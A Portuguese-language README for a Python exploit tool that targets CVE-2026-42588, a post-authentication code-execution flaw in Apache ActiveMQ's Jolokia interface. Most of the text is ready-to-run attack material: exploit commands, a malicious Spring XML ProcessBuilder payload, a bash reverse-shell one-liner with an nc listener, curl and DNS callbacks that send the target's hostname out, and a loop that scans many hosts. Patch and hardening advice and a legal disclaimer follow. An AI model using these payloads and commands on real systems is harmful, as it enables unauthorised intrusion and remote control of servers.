
Exploit RCE baseado em Python para CVE-2026-42588 visando Apache ActiveMQ Jolokia. Apresenta modo somente verificação, geração de XML malicioso e suporte para reverse shell, OOB e verificação baseada em arquivo.
Nível de gravidade: 🔴 Alto (CVSS 4.0: 8.1)
Tipo de vulnerabilidade: CWE-94 — Injeção de código
Versões afetadas: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ versão < 6.2.6
Pré-requisito de exploração: Necessita de credenciais de autenticação do Web Console (padrãoadmin:admin)
CVE-2026-42588 é uma vulnerabilidade de execução remota de código (RCE) pós-autenticação existente no Apache ActiveMQ.
Um atacante, de posse de credenciais de autenticação do Web Console, pode invocar o método BrokerService.addNetworkConnector(String) através da interface de ponte Jolokia JMX-HTTP (/api/jolokia/), fornecendo uma URI masterslave:// cuidadosamente construída, utilizando o protocolo xbean: para carregar um arquivo de configuração Spring XML remoto, resultando na execução de comandos arbitrários do sistema na JVM do ActiveMQ Broker.
/api/jolokia/ (Ponte JMX-HTTP Jolokia)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://atacante/malicioso.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Pré-instanciação de todos os beans singleton do Spring → Aciona Runtime.exec() / ProcessBuilder
│
▼
🚨 Execução remota de código (RCE)
| Etapa | Descrição |
|---|---|
| Superfície de exposição Jolokia | O Web Console do ActiveMQ expõe por padrão /api/jolokia/, permitindo a execução da operação exec nos MBeans org.apache.activemq:* |
| Método perigoso | BrokerService.addNetworkConnector(String) recebe uma URI de discovery e a processa |
| Cadeia de acionamento por URI | O parâmetro brokerConfig do protocolo masterslave:// é controlável, combinado com o scheme xbean: para acionar o carregamento do contexto Spring |
| Ponto de acionamento RCE | O XBeanBrokerFactory utiliza ResourceXmlApplicationContext para carregar um XML remoto; o Spring instancia todos os beans singleton antes mesmo da validação da configuração |
| Faixa de versão | Status |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ Afetado |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ Afetado |
| Apache ActiveMQ ≥ 5.19.7 | ✅ Corrigido |
| Apache ActiveMQ ≥ 6.2.6 | ✅ Corrigido |
/api/jolokia/ deve estar acessível ao atacante (porta padrão 8161)admin:admin).
├── CVE-2026-42588_EXP.py # Script de exploração (principal)
├── malicious.xml # Modelo de XML Spring malicioso
├── requirements.txt # Dependências Python
└── README.md # Este arquivo
| Arquivo | Finalidade |
|---|---|
CVE-2026-42588_EXP.py | Script de exploração em Python, suporta modo de detecção (--check-only) e modo de geração de XML (--gen-xml) |
malicious.xml | Modelo de configuração Spring XML malicioso, contém dois métodos de exploração: Runtime.exec() e ProcessBuilder |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
Inicie um serviço HTTP na máquina atacante:
python3 -m http.server 8080
# Usando credenciais padrão admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://seu-ip-atacante:8080/malicious.xml
# Usando credenciais personalizadas
python CVE-2026-42588_EXP.py \
-u http://alvo:8161 \
-U meuusuario \
-P minhasenha \
-x http://seu-ip-atacante:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
Opções:
-u, --url URL do ActiveMQ alvo (ex: http://192.168.1.100:8161)
-U, --username Nome de usuário do Web Console (padrão: admin)
-P, --password Senha do Web Console (padrão: admin)
-x, --xml-url URL remota do arquivo Spring XML malicioso
--check-only Apenas verificar se a interface Jolokia está acessível
--gen-xml Gerar arquivo XML malicioso e enviar para stdout
-c, --command Comando a ser executado no alvo (padrão: touch /tmp/activemq_pwned)
--timeout Tempo limite em segundos para requisições HTTP (padrão: 30)
--no-verify Desabilitar verificação de certificado SSL
1. Gerar XML malicioso na máquina atacante:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. Hospedar XML e iniciar listener:
# Terminal 1: Serviço HTTP
python3 -m http.server 8080
# Terminal 2: Listener nc
nc -lvnp 4444
3. Acionar a vulnerabilidade:
python CVE-2026-42588_EXP.py \
-u http://alvo:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Gerar XML malicioso para Windows:
Modifique o comando do ProcessBuilder em malicious.xml para:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. Hospedar e executar:
python CVE-2026-42588_EXP.py \
-u http://windows-alvo:8161 \
-x http://atacante:8080/malicious_win.xml
# Detecção em lote
for ip in $(cat targets.txt); do
echo "=== Testando $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────────────┐
│ Cadeia de ataque CVE-2026-42588 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ① Atacante ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌────────────────────────────────┐ │
│ │ Script │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ EXP │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬───────────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────────┐ │
│ └─▶│ Servidor HTTP │ │ ResourceXmlApplication │ │
│ │ do atacante │ │ Context carrega XML remoto │ │
│ │ (python http.server) │ │ │ │
│ │ │ │ Pr�-instanciação de Beans │ │
│ │ malicious.xml │ │ do Spring ──▶ │ │
│ └──────────────────────┘ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE bem-sucedido 🚨 │ │
│ └────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Como a execução do comando ocorre durante a fase de parsing do XML Spring, ela é assíncrona, e a resposta HTTP pode não refletir diretamente o resultado da execução. Recomenda-se verificar das seguintes formas:
# Máquina atacante
nc -lvnp 4444
# Usar nslookup ou curl no comando para retorno
nslookup $(hostname).seu-servidor-dns.com
# Verificar arquivo de flag no alvo
ls -la /tmp/activemq_pwned
# No XML malicioso usar
curl http://seu-servidor:8888/$(hostname)
# Enquanto isso, no atacante ouvir
nc -lvnp 8888
| Linha de versão | Atualizar para |
|---|---|
| Série 5.x | 5.19.7 ou superior |
| Série 6.x | 6.2.6 ou superior |
Download: https://activemq.apache.org/download
Comunicado de correção: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm
Se não for possível atualizar imediatamente, as seguintes medidas podem reduzir o risco:
No conf/jetty.xml, restrinja /api/jolokia/ para acesso apenas local, ou utilize firewall/proxy reverso com lista de permissão de IPs.
Edite conf/jolokia-access.xml, proibindo a operação exec nos MBeans org.apache.activemq:*:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
Edite conf/jetty-realm.properties, alterando o padrão admin: admin, admin para uma senha forte.
No conf/jetty.xml, comente a configuração do Context relacionada ao Web Console.
R: Sim, requer credenciais válidas do Web Console do ActiveMQ. No entanto, as credenciais padrão são admin/admin, e muitos sistemas reais não alteram a senha padrão, tornando o risco ainda alto.
R: Isso é normal. A execução do comando é assíncrona, ocorrendo durante a fase de parsing do XML Spring. Recomenda-se usar reverse shell, exfiltração DNS, etc. para verificação. Consulte Verificação do sucesso da exploração.
R: Sim. É necessário alterar o comando em malicious.xml de /bin/sh -c para cmd.exe /c, ajustando a sintaxe para o estilo Windows.
R: O modo de detecção apenas confirma se a interface Jolokia está acessível (condição necessária para exploração). Interface acessível não garante que seja explorável, mas indica possibilidade.
R: Não. Após atualizar para 5.19.7+ ou 6.2.6+, a lógica de parsing do parâmetro brokerConfig foi corrigida e não aceita mais o scheme xbean:.
⚠️ Esta ferramenta é apenas para pesquisa de segurança e testes autorizados!
- Usar esta ferramenta para acessar sistemas não autorizados é ilegal
- O usuário assume total responsabilidade por todas as consequências e responsabilidades decorrentes do uso desta ferramenta
- O autor não se responsabiliza por qualquer uso não autorizado, abuso ou danos resultantes
- Use esta ferramenta apenas em seus próprios sistemas ou em sistemas com autorização por escrito
- Cumpra as leis locais e os padrões éticos profissionais
| Fonte | Link |
|---|---|
| Banco de dados de vulnerabilidades (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| Comunicado de vulnerabilidade da Antiy | https://bbs.antiy.cn/thread-210844-1-1.html |
| Detalhes da vulnerabilidade DDPOC | https://ddpoc.com/DVB-2026-11290.html |
| Site oficial do Apache ActiveMQ | https://activemq.apache.org/ |
| Comunicado de segurança da Apache | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |
CVE-2026-42588 — Apenas para fins educacionais e testes autorizados